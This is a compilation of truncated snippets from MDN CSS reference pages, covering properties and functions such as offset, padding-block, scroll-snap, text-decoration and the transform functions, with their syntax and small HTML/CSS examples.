<img id="object-position-1" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="mdn logo"/> <img id="object-position-2" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="mdn logo"/> css the css includes default styling for the <img> element itself, as well as separate styles for each of the two images.
offset-anchor - CSS: Cascading Style Sheets
html <section> <div class="offset-anchor1"></div> </section> <section> <div class="offset-anchor2"></div> </section> <section> <div class="offset-anchor3"></div> </section> css div { offset-path: path('m 0,20 l 200,20'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; } section { background-image: linear-gradient(to bottom, transparent, transparent 49%, #000 50%, #000 51%,...
offset-distance - CSS: Cascading Style Sheets
html <div id="motion-demo"></div> css #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } result specifications specification status comment motion path mo...
offset-position - CSS: Cascading Style Sheets
| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]where <length-percentage> = <length> | <percentage> examples setting initial offset position <div id="motion-demo"></div> #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); offset-position: left top; animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } specifications specification status comment ...
offset - CSS: Cascading Style Sheets
WebCSSoffset
examples animating an element along a path html <div id="offsetelement"></div> css @keyframes move { from { offset-distance: 0%; } to { offset-distance: 100%; } } #offsetelement { width: 50px; height: 50px; background-color: blue; offset: path("m 100 100 l 300 100 l 200 300 z") auto; animation: move 3s linear infinite; } result specifications specification status comment motion path module lev...
outline-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednocomputed valuean absolute length; if the keyword none is specified, the computed value is 0animation typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples setting an element's outline width html <span id="thin">thin</span> <span id="medium">medium</span> <span id="thick">thick</span> <span id="twopixels">2px</span> <span id="oneex">1ex</span> <span id="em">1.2em</span> css span { outline-style: solid; display: inline-block; margin: 20px; } #thin { outline-width: thin; } #medium { outline-width: medium; } #thick { outline-width: thick; } #twopixels { outline-width: 2px; } #onee...
outline - CSS: Cascading Style Sheets
WebCSSoutline
o rgba(0,0,0,0).outline-width: an absolute length; if the keyword none is specified, the computed value is 0outline-style: as specifiedanimation typeas each of the properties of the shorthand:outline-color: a coloroutline-width: a lengthoutline-style: discrete formal syntax [ <'outline-color'> | <'outline-style'> | <'outline-width'> ] examples using outline to set a focus style html <a href="#">this link has a special focus style.</a> css a { border: 1px solid; border-radius: 3px; display: inline-block; margin: 10px; padding: 5px; } a:focus { outline: 4px dotted #e73; outline-offset: 4px; background: #ffa; } result specifications specification status comment css basic user interface module level 3the definition of 'outline' in that...
overscroll-behavior-block - CSS: Cascading Style Sheets
"bounce" effects or refreshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g.
overscroll-behavior-inline - CSS: Cascading Style Sheets
"bounce" effects or refreshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g.
overscroll-behavior-x - CSS: Cascading Style Sheets
"bounce" effects or refreshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g.
overscroll-behavior-y - CSS: Cascading Style Sheets
"bounce" effects or refreshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g.
padding-block-end - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting block end padding for vertical text html content <div> <p class="exampletext">example text</p> </div> css content div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-block-end: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-block-end' in that speci...
padding-block-start - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting block start padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-block-start: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-block-start' in that specifica...
padding-block - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typediscrete formal syntax <'padding-left'>{1,2} examples setting block padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; padding-block: 20px 40px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-block' in that specification.
padding-inline-end - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting inline end padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-inline-end: 20px; background-color: #c8c800; } specifications specification status comment css logical properties and values level 1the definition of 'padding-inline-end' in that specification.
padding-inline-start - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting inline start padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-inline-start: 20px; background-color: #c8c800; } specifications specification status comment css logical properties and values level 1the definition of 'padding-inline-start' in that specification.
padding-inline - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typediscrete formal syntax <'padding-left'>{1,2} examples setting inline padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; padding-inline: 20px 40px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-inline' in that specification.
page-break-inside - CSS: Cascading Style Sheets
user agents may also apply it to other elements like table-row elements.inheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | avoid examples avoiding page breaks inside elements html <div class="page"> <p>this is the first paragraph.</p> <section class="list"> <span>a list</span> <ol> <li>one</li> <!-- <li>two</li> --> </ol> </section> <ul> <li>one</li> <!-- <li>two</li> --> </ul> <p>this is the second paragraph.</p> <p>this is the third paragraph, it contains more text.</p> <p>this is the fourth paragraph.
paint-order - CSS: Cascading Style Sheets
formal definition initial valuenormalapplies totext elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | [ fill | stroke | markers ] examples reversing the paint order of stroke and fill svg <svg xmlns="http://www.w3.org/2000/svg" width="400" height="200"> <text x="10" y="75">stroke in front</text> <text x="10" y="150" class="stroke-behind">stroke behind</text> </svg> css text { font-family: sans-serif; font-size: 50px; font-weight: bold; fill: black; stroke: red; stroke-width: 4px; } .stroke-behind { paint-order: stroke fill; } result specifications specificati...
place-self - CSS: Cascading Style Sheets
html <article class="container"> <span>first</span> <span>second</span> <span>third</span> <span>fourth</span> </article> css html { font-family: helvetica, arial, sans-serif; letter-spacing: 1px; } article { background-color: red; display: grid; grid-template-columns: 1fr 1fr; grid-auto-rows: 80px; grid-gap: 10px; width: 300px; } span:nth-child(2) { place-self: start center; } span:nth-...
radial-gradient() - CSS: Cascading Style Sheets
examples simple gradient <div class="radial-gradient"></div> .radial-gradient { width: 240px; height: 120px; } .radial-gradient { background-image: radial-gradient(cyan 0%, transparent 20%, salmon 40%); } non-centered gradient <div class="radial-gradient"></div> .radial-gradient { width: 240px; height: 120px; } .radial-gradient { background-image: radial-gradient(farthest-corner at 40px 40px, #f35 0%, ...
repeat() - CSS: Cascading Style Sheets
WebCSSrepeat
examples specifying grid columns using repeat() html <div id="container"> <div> this item is 50 pixels wide.
repeating-conic-gradient() - CSS: Cascading Style Sheets
{{embedinteractiveexample("pages/css/function-repeating-conic-gradient.html")}} the source for this interactive example is stored in a github repository.
repeating-radial-gradient() - CSS: Cascading Style Sheets
and <color-stop-length> = [ <percentage> | <length> ]{1,2} and <color-hint> = [ <percentage> | <length> ] examples black and white gradient <div class="radial-gradient"></div> .radial-gradient { width: 120px; height: 120px; } .radial-gradient { background: repeating-radial-gradient(black, black 5px, white 5px, white 10px); } farthest-corner <div class="radial-gradient"></div> .radial-gradient { width: 240px; height: 120px; } .radial-gradient { background: repeating-radial-gradient(ellipse farthest-corner at 20% 20%, ...
resize - CSS: Cascading Style Sheets
WebCSSresize
html <div class="resizable"> <p class="resizable"> this paragraph is resizable in all directions, because the css `resize` property is set to `both` on this element.
row-gap (grid-row-gap) - CSS: Cascading Style Sheets
WebCSSrow-gap
ntainers, grid containersinheritednopercentagesrefer to corresponding dimension of the content areacomputed valueas specified, with <length>s made absolute, and normal computing to zero except on multi-column elementsanimation typea length, percentage or calc(); formal syntax normal | <length-percentage>where <length-percentage> = <length> | <percentage> examples flex layout html <div id="flexbox"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #flexbox { display: flex; flex-wrap: wrap; width: 300px; row-gap: 20px; } #flexbox > div { border: 1px solid green; background-color: lime; flex: 1 1 auto; width: 100px; height: 50px; } result grid layout html <div id="grid"> <div></div> <div></div> <div></div...
scale - CSS: Cascading Style Sheets
WebCSSscale
formal definition initial valuenoneapplies totransformable elementsinheritednocomputed valueas specifiedanimation typea transformcreates stacking contextyes formal syntax none | <number>{1,3} examples scaling an element on hover html <div> <p class="scale">scaling</p> </div> css * { box-sizing: border-box; } html { font-family: sans-serif; } div { width: 150px; margin: 0 auto; } p { padding: 10px 5px; border: 3px solid black; border-radius: 20px; width: 150px; font-size: 1.2rem; text-align: center; } .scale { transition: scale 1s; } div:hover .scale { scale: 2 0.7; } result specifications specific...
scroll-behavior - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscrolling boxesinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | smooth examples setting smooth scroll behavior html <nav> <a href="#page-1">1</a> <a href="#page-2">2</a> <a href="#page-3">3</a> </nav> <scroll-container> <scroll-page id="page-1">1</scroll-page> <scroll-page id="page-2">2</scroll-page> <scroll-page id="page-3">3</scroll-page> </scroll-container> css a { display: inline-block; width: 50px; text-decoration: none; } nav, scroll-container { display: block; margin: 0 auto; text-align: center;...
scroll-snap-points-x - CSS: Cascading Style Sheets
l valuenoneapplies toscroll containersinheritednopercentagesrelative to same axis of the padding-box of the scroll containercomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typediscrete formal syntax none | repeat( <length-percentage> )where <length-percentage> = <length> | <percentage> examples setting horizontal scroll snap points html <div id="container"> <div>1</div> <div>2</div> <div>3</div> </div> css #container { width: 200px; overflow: auto; white-space: nowrap; scroll-snap-points-x: repeat(100%); scroll-snap-type: mandatory; font-size: 0; } #container > div { width: 200px; height: 200px; display: inline-block; line-height: 200px; text-align: center; font-size: 100px; } #container > div:nth-child(e...
scroll-snap-points-y - CSS: Cascading Style Sheets
ial valuenoneapplies toscroll containersinheritednopercentagesrelative to same axis of the padding-box of the scroll containercomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typediscrete formal syntax none | repeat( <length-percentage> )where <length-percentage> = <length> | <percentage> examples setting vertical scroll snap points html <div id="container"> <div>1</div> <div>2</div> <div>3</div> </div> css #container { height: 200px; width: 220px; overflow-x: hidden; overflow-y: auto; scroll-snap-points-y: repeat(200px); scroll-snap-type: mandatory; font-size: 0; } #container > div { width: 200px; height: 200px; display: inline-block; line-height: 200px; text-align: center; font-size: 100px; } #containe...
scrollbar-color - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples coloring overflow scrollbars css .scroller { width: 300px; height: 100px; overflow-y: scroll; scrollbar-color: rebeccapurple green; } html <div class="scroller">veggies es bonus vobis, proinde vos postulo essum magis kohlrabi welsh onion daikon amaranth tatsoi tomatillo melon azuki bean garlic.
scrollbar-width - CSS: Cascading Style Sheets
standing wcag 2.1 understanding success criterion 2.5.5 | w3c understanding wcag 2.1 formal definition initial valueautoapplies toscrolling boxesinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | thin | none examples sizing overflow scrollbars css .scroller { width: 300px; height: 100px; overflow-y: scroll; scrollbar-width: thin; } html <div class="scroller">veggies es bonus vobis, proinde vos postulo essum magis kohlrabi welsh onion daikon amaranth tatsoi tomatillo melon azuki bean garlic.
shape-image-threshold - CSS: Cascading Style Sheets
html <div id="gradient-shape"></div> <p> lorem ipsum dolor sit amet, consectetur adipisicing elit.
shape-margin - CSS: Cascading Style Sheets
formal definition initial value0applies tofloatsinheritednopercentagesrefer to the width of the containing blockcomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea length, percentage or calc(); formal syntax <length-percentage>where <length-percentage> = <length> | <percentage> examples adding a margin to a polygon html <section> <div class="shape"></div> we are not quite sure of any one thing in biology; our knowledge of geology is relatively very slight, and the economic laws of society are uncertain to every one except some individual who attempts to set them forth; but before the world was fashioned the square on the hypotenuse was equal to the sum of the squares on the other two sides of a right triangle, and it will be so after ...
Specified value - CSS: Cascading Style Sheets
examples html <p>my specified color is given explicitly in the css.</p> <div>the specified values of all my properties default to their initial values, because none of them are given in the css.</div> <div class="fun"> <p>the specified value of my font family is not given explicitly in the css, so it is inherited from my parent.
symbols() - CSS: Cascading Style Sheets
WebCSSsymbols
examples html <ol> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ol> css ol { list-style: symbols(cyclic "*" "" ""); } result specifications specification status comment css counter styles level 3the definition of 'symbols()' in that specification.
tab-size - CSS: Cascading Style Sheets
WebCSStab-size
html <p>no tab</p> <p>&#0009;default tab size of 8 characters wide</p> <p class="custom">&#0009;custom tab size of 3 characters wide</p> <p>&nbsp;&nbsp;&nbsp;3 spaces, equivalent to the custom tab size</p> css p { white-space: pre; } .custom { tab-size: 3; -moz-tab-size: 3; } result specifications specification status comment css text module level 3the definition of 'tab-size' in that specification.
text-decoration-line - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritednocomputed valueas specifiedanimation typediscrete formal syntax none | [ underline | overline | line-through | blink ] | spelling-error | grammar-error examples <p class="wavy">here's some text with wavy red underline!</p> <p class="both">this text has lines both above and below it.</p> .wavy { text-decoration-line: underline; text-decoration-style: wavy; text-decoration-color: red; } .both { text-decoration-line: underline overline; } specifications specification status comment css text decoration module level 3the definit...
text-decoration-skip-ink - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | all | none examples html <p>you should go on a quest for a cup of coffee.</p> <p class="no-skip-ink">or maybe you'd prefer some tea?</p> <p>この文は、 text-decoration-skip-ink: auto の使用例を示しています。</p> <p class="skip-ink-all">この文は、 text-decoration-skip-ink: all の使用例を示しています。</p> css p { font-size: 1.5em; text-decoration: underline blue; text-decoration-skip-ink: auto; /* this is the default anyway */ } .no-skip-ink ...
text-decoration-style - CSS: Cascading Style Sheets
line .example { -moz-text-decoration-line: underline; -moz-text-decoration-style: wavy; -moz-text-decoration-color: red; -webkit-text-decoration-line: underline; -webkit-text-decoration-style: wavy; -webkit-text-decoration-color: red; } css .wavy { text-decoration-line: underline; text-decoration-style: wavy; text-decoration-color: red; } html <p class="wavy">this text has a wavy red line beneath it.</p> results specifications specification status comment css text decoration module level 3the definition of 'text-decoration-style' in that specification.
text-decoration-thickness - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the font size of the element itselfcomputed valueas specifiedanimation typeby computed value type formal syntax auto | from-font | <length> | <percentage> examples varying thickness html <p class="thin">here's some text with a 1px red underline.</p> <p class="thick">this one has a 5px red underline.</p> <p class="shorthand">this uses the equivalent shorthand.</p> css .thin { text-decoration-line: underline; text-decoration-style: solid; text-decoration-color: red; text-decoration-thickness: 1px; } .thick { text-decoration-line: underline; text-decoration-style: solid; text-...
text-emphasis-color - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples emphasis with a color and custom character css em { text-emphasis-color: green; text-emphasis-style: "*"; } html <p>here's an example:</p> <em>this has emphasis marks!</em> result specifications specification status comment css text decoration module level 3the definition of 'text-emphasis' in that specification.
text-overflow - CSS: Cascading Style Sheets
id; padding: 2px 5px; /* both of the following are required for text-overflow */ white-space: nowrap; overflow: hidden; } .overflow-visible { white-space: initial; } .overflow-clip { text-overflow: clip; } .overflow-ellipsis { text-overflow: ellipsis; } .overflow-string { /* not supported in most browsers, see the 'browser compatibility' section below */ text-overflow: " [..]"; } html <p class="overflow-visible">lorem ipsum dolor sit amet, consectetur adipisicing elit.</p> <p class="overflow-clip">lorem ipsum dolor sit amet, consectetur adipisicing elit.</p> <p class="overflow-ellipsis">lorem ipsum dolor sit amet, consectetur adipisicing elit.</p> <p class="overflow-string">lorem ipsum dolor sit amet, consectetur adipisicing elit.</p> result note: live re...
text-shadow - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples simple shadow .red-text-shadow { text-shadow: red 0 -2px; } <p class="red-text-shadow">sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore.</p> multiple shadows .white-text-with-blue-shadow { text-shadow: 1px 1px 2px black, 0 0 1em blue, 0 0 0.2em blue; color: white; font: 1.5em georgia, serif; } <p class="white-text-with-blue-shadow">sed ut perspi...
text-underline-offset - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritedyespercentagesrefer to the font size of the element itselfcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length> | <percentage> examples <p class="oneline">here's some text with an offset wavy red underline!</p> <br> <p class="twolines">this text has lines both above and below it.
transform-box - CSS: Cascading Style Sheets
formal definition initial valueview-boxapplies totransformable elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax content-box | border-box | fill-box | stroke-box | view-box examples svg transform-origin scoping in this example we have an svg: <svg id="svg" xmlns="http://www.w3.org/2000/svg" viewbox="0 0 50 50"> <g> <circle id="center" fill="red" r="1" transform="translate(25 25)" /> <circle id="boxcenter" fill="blue" r=".5" transform="translate(15 15)" /> <rect id="box" x="10" y="10" width="10" height="10" rx="1" ry="1" stroke="black" fill="none" /> </g> </svg> in the css we have an animation that uses a transform to rotate the...
matrix() - CSS: Cascading Style Sheets
homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 ac bd actxbdty001 actxbdty001 ac0txbd0ty00100001 [a b c d tx ty] the values represent the following functions: matrix( scalex(), skewy(), skewx(), scaley(), translatex(), translatey() ) examples html <div>normal</div> <div class="changed">changed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .changed { transform: matrix(1, 2, -1, 1, 80, 80); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'matrix()' in that specification.
rotate3d() - CSS: Cascading Style Sheets
mogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 1+(1-cos(a))(x2-1)z·sin(a)+xy(1-cos(a))-y·sin(a)+xz·(1-cos(a))-z·sin(a)+xy·(1-cos(a))1+(1-cos(a))(y2-1)x·sin(a)+yz·(1-cos(a))ysin(a) + xz(1-cos(a))-xsin(a)+yz(1-cos(a))1+(1-cos(a))(z2-1)t0001 homogeneous coordinates on ℝℙ3 examples rotating on the y-axis html <div>normal</div> <div class="rotated">rotated</div> css body { perspective: 800px; } div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotate3d(0, 1, 0, 60deg); background-color: pink; } result rotating on a custom axis html <div>normal</div> <div class="rotated">rotated</div> css body { perspective: 800px; } div { width: 80px; height: 80px; background-color:...
rotateX() - CSS: Cascading Style Sheets
1000cos(a)-sin(a)0sin(a)cos(a) 10000cos(a)-sin(a)00sin(a)cos(a)00001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotatex(45deg); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatex()' in that specification.
rotateY() - CSS: Cascading Style Sheets
cos(a)0sin(a)010-sin(a)0cos(a) cos(a)0sin(a)00100-sin(a)0cos(a)00001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotatey(60deg); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatey()' in that specification.
rotateZ() - CSS: Cascading Style Sheets
cos(a)-sin(a)0sin(a)cos(a)0001 cos(a)-sin(a)00 sin(a)cos(a)00 0010 0001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotatez(45deg); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatez()' in that specification.
scale() - CSS: Cascading Style Sheets
find out more: mdn understanding wcag, guideline 2.3 explanations understanding success criterion 2.3.3 | w3c understanding wcag 2.1 examples scaling the x and y dimensions together html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; background-color: skyblue; } .scaled { transform: scale(0.7); /* equal to scalex(0.7) scaley(0.7) */ background-color: pink; } result scaling x and y dimensions separately, and translating the origin html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; background-color: sky...
scale3d() - CSS: Cascading Style Sheets
sx000sy000sz sx0000sy0000sz00001 examples without changing the origin html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; background-color: skyblue; } .scaled { transform: perspective(500px) scale3d(2, 0.7, 0.2) translatez(100px); background-color: pink; } result translating the origin of the transformation html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; background-color: skyblue; } .sca...
scaleX() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 s0 01 s00010001 s00010001 s000010000100001 [s 0 0 1 0 0] examples html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; background-color: skyblue; } .scaled { transform: scalex(0.6); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'scalex()' in that specification.
scaleY() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 10 0s 1000s0001 1000s0001 10000s0000100001 [1 0 0 s 0 0] examples html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; background-color: skyblue; } .scaled { transform: scaley(0.6); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'scaley()' in that specification.
scaleZ() - CSS: Cascading Style Sheets
10001000s 1000010000s00001 examples html <div>normal</div> <div class="perspective">translated</div> <div class="scaled-translated">scaled</div> css div { width: 80px; height: 80px; background-color: skyblue; } .perspective { /* includes a perspective to create a 3d space */ transform: perspective(400px) translatez(-100px); background-color: limegreen; } .scaled-translated { /* includes a perspective to create a 3d space */ transform: perspective(...
skew() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 1tan(ax)tan(ay)1 1tan(ax)0tan(ay)10001 1tan(ax)0tan(ay)10001 1tan(ax)00tan(ay)10000100001 [1 tan(ay) tan(ax) 1 0 0] examples using a single x-angle html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .skewed { transform: skew(10deg); /* equal to skewx(10deg) */ background-color: pink; } result using two angles html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .skewed { transform: skew(10deg, 10deg); backg...
skewX() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 1tan(a)01 1tan(a)0010001 1tan(a)0010001 1tan(a)00010000100001 [1 0 tan(a) 1 0 0] examples html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .skewed { transform: skewx(10deg); /* equal to skew(10deg) */ background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'skewx()' in that specification.
skewY() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 10tan(a)1 100tan(a)10001 100tan(a)10001 1000tan(a)10000100001 [1 tan(a) 0 1 0 0] examples html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .skewed { transform: skewy(40deg); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'skewy()' in that specification.
translate() - CSS: Cascading Style Sheets
10tx01ty001 10tx01ty001 100tx010ty00100001 [1 0 0 1 tx ty] formal syntax translate(<length-percentage> , <length-percentage>?) examples using a single-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: translate(10px); /* equal to: translatex(10px) or translate(10px, 0) */ background-color: pink; } result combining y-axis and x-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60p...
translate3d() - CSS: Cascading Style Sheets
100tx010ty001tz0001 examples using a single axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { /* equivalent to perspective(500px) translatex(10px) */ transform: perspective(500px) translate3d(10px, 0, 0px); background-color: pink; } result combining z-axis and x-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css di...
translateX() - CSS: Cascading Style Sheets
10t010001 10t010001 100t010000100001 [1 0 0 1 t 0] formal syntax translatex(<length-percentage>) examples html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: translatex(10px); /* equal to translate(10px) */ background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'translatex()' in that specification.
translateY() - CSS: Cascading Style Sheets
10001t001 10001t001 1000010t00100001 [1 0 0 1 0 t] formal syntax translatey(<length-percentage>) examples html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: translatey(10px); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'translatey()' in that specification.
<transform-function> - CSS: Cascading Style Sheets
html <main> <section id="example-element"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </section> <div class="select-form"> <label>select a transform function</label> <select> <option selected>choose a function</option> ...
transform-style - CSS: Cascading Style Sheets
html <section id="example-element"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </section> <div class="checkbox"> <label for="preserve"><code>preserve-3d</code></label> <input type="checkbox" id="preserve" checked> </div> css #example-element { margin:...
transition - CSS: Cascading Style Sheets
iscrete formal syntax <single-transition>#where <single-transition> = [ none | <single-transition-property> ] | <time> | <timing-function> | <time>where <single-transition-property> = all | <custom-ident><timing-function> = linear | <cubic-bezier-timing-function> | <step-timing-function>where <cubic-bezier-timing-function> = ease | ease-in | ease-out | ease-in-out | cubic-bezier(<number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[0,1]>, <number>, <number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[0,1]>, <number>)<step-timing-function> = step-star...
translate - CSS: Cascading Style Sheets
WebCSStranslate
]?where <length-percentage> = <length> | <percentage> examples html <div> <p class="translate">translation</p> </div> css * { box-sizing: border-box; } html { font-family: sans-serif; } div { width: 150px; margin: 0 auto; } p { padding: 10px 5px; border: 3px solid black; border-radius: 20px; width: 150px; font-size: 1.2rem; text-align: center; } .translate { transition: translate 1s; } div:hover .translate { translate: 200px 50px; } result spec...
unicode-bidi - CSS: Cascading Style Sheets
formal definition initial valuenormalapplies toall elements, though some values have no effect on non-inline elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax normal | embed | isolate | bidi-override | isolate-override | plaintext examples css .bible-quote { direction: rtl; unicode-bidi: embed; } html <div class="bible-quote"> a line of text </div> <div> another line of text </div> result specifications specification status comment css writing modes module level 3the definition of 'unicode-bidi' in that specification.
unset - CSS: Cascading Style Sheets
WebCSSunset
examples color html <p>this text is red.</p> <div class="foo"> <p>this text is also red.</p> </div> <div class="bar"> <p>this text is green (default inherited value).</p> </div> css .foo { color: blue; } .bar { color: green; } p { color: red; } .bar p { color: unset; } result border html <p>this text has a red border.</p> <div> <p>this text has a red border.</p> </div> <div class="bar"> <p>this text has a black border (initial...
user-modify - CSS: Cascading Style Sheets
examples html <div class="readwrite">the user is able to change this text.</div> css .readwrite { -moz-user-modify: read-write; -webkit-user-modify: read-write; } specifications not part of any standard.
var() - CSS: Cascading Style Sheets
WebCSSvar
the var() css function can be used to insert the value of a custom property (sometimes called a "css variable") instead of any part of a value of another property.
word-spacing - CSS: Cascading Style Sheets
examples html <div id="mozdiv1">here are many words...</div> <div id="mozdiv2">...and many more!</div> css #mozdiv1 { word-spacing: 15px; } #mozdiv2 { word-spacing: 5em; } accessibility concerns a large positive or negative word-spacing value will make the sentences the styling is applied to unreadable.
z-index - CSS: Cascading Style Sheets
WebCSSz-index
